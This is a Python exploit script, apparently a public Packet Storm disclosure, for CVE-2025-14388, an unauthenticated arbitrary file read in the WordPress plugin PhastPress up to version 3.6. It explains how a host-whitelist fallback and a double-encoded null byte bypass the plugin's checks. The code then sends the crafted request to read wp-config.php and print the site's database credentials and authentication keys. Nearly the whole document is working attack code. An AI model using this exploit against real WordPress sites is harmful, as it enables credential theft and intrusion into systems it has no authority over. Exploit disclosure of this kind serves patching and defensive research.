## https://sploitus.com/exploit?id=PACKETSTORM:226432
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin PhastPress <= 3.6 - Unauthenticated Arbitrary File Read
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/phastpress/
# Software Link: https://downloads.wordpress.org/plugin/phastpress.3.6.zip
# Version: 3.6 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2025-14388
"""CVE-2025-14388 โ PhastPress <= 3.6 โ Unauthenticated Arbitrary File Read
Blackbox HTTP exploit against a real WordPress + PhastPress install. Reads any file inside the
web document root (e.g. wp-config.php โ DB credentials + all AUTH keys/salts).
Root cause: the standalone entry script `wp-content/plugins/phastpress/phast.php` serves the
optimizer `scripts` service with NO WordPress auth. Token auth is bypassed via the host whitelist
fallback (`~^https?://<request-host>/~`), so a `src` beginning with the site's own host is accepted
without a token. The extension allow-list is bypassed with a double-URL-encoded null byte
(`wp-config.php%2500.js`): the check sees a `.js` file, but the path is truncated at the null byte
before `file_get_contents()`, reading `wp-config.php`.
Key detail: PhastPress keys its local-file retriever map on the request `Host` header, and the
`src` URL host must MATCH it exactly (no port), or it falls back to a (failing) remote fetch.
This exploit sends `Host: <host>` and `src=http://<host>/...` consistently.
Usage:
python3 CVE-2025-14388_phastpress.py --target http://localhost:8090 --host localhost --file wp-config.php
"""
import argparse, sys, urllib.parse
import requests
requests.packages.urllib3.disable_warnings()
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True, help="URL used to reach the server, e.g. http://localhost:8090")
ap.add_argument("--host", default=None,
help="Host header / src host phastpress maps to docroot (default: target host without port)")
ap.add_argument("--file", default="wp-config.php", help="file to read, relative to web root")
args = ap.parse_args()
base = args.target.rstrip("/")
parsed = urllib.parse.urlparse(base)
host = args.host or parsed.hostname # no port
# src = http://<host>/<file>%2500.js (double-encoded null byte + fake .js ext)
src = f"http://{host}/{args.file}%00.js"
src_qs = urllib.parse.quote(f"http://{host}/{args.file}", safe="") + "%2500.js"
url = f"{base}/wp-content/plugins/phastpress/phast.php?service=scripts&src={src_qs}"
print(f"[*] Target: {base}")
print(f"[*] Host header / retriever key: {host}")
print(f"[*] Reading: {args.file} (null-byte bypass -> {src})")
r = requests.get(url, headers={"Host": host}, timeout=20, verify=False)
print(f"[*] Response: HTTP {r.status_code}, {len(r.content)} bytes")
body = r.text
markers = ["DB_NAME", "DB_PASSWORD", "AUTH_KEY", "table_prefix"]
if r.status_code == 200 and any(m in body for m in markers if args.file.endswith("wp-config.php")) \
or (r.status_code == 200 and args.file != "wp-config.php" and len(body) > 0 and "Internal error" not in body):
print(f"\n[+] FILE READ CONFIRMED โ contents of {args.file}:")
print("-" * 60)
print(body.strip()[:4000])
print("-" * 60)
return 0
print(f"\n[-] Read failed. Body: {body[:200]}")
print(" Tip: ensure --host matches the site's Host header exactly (no port).")
return 1
if __name__ == "__main__":
sys.exit(main())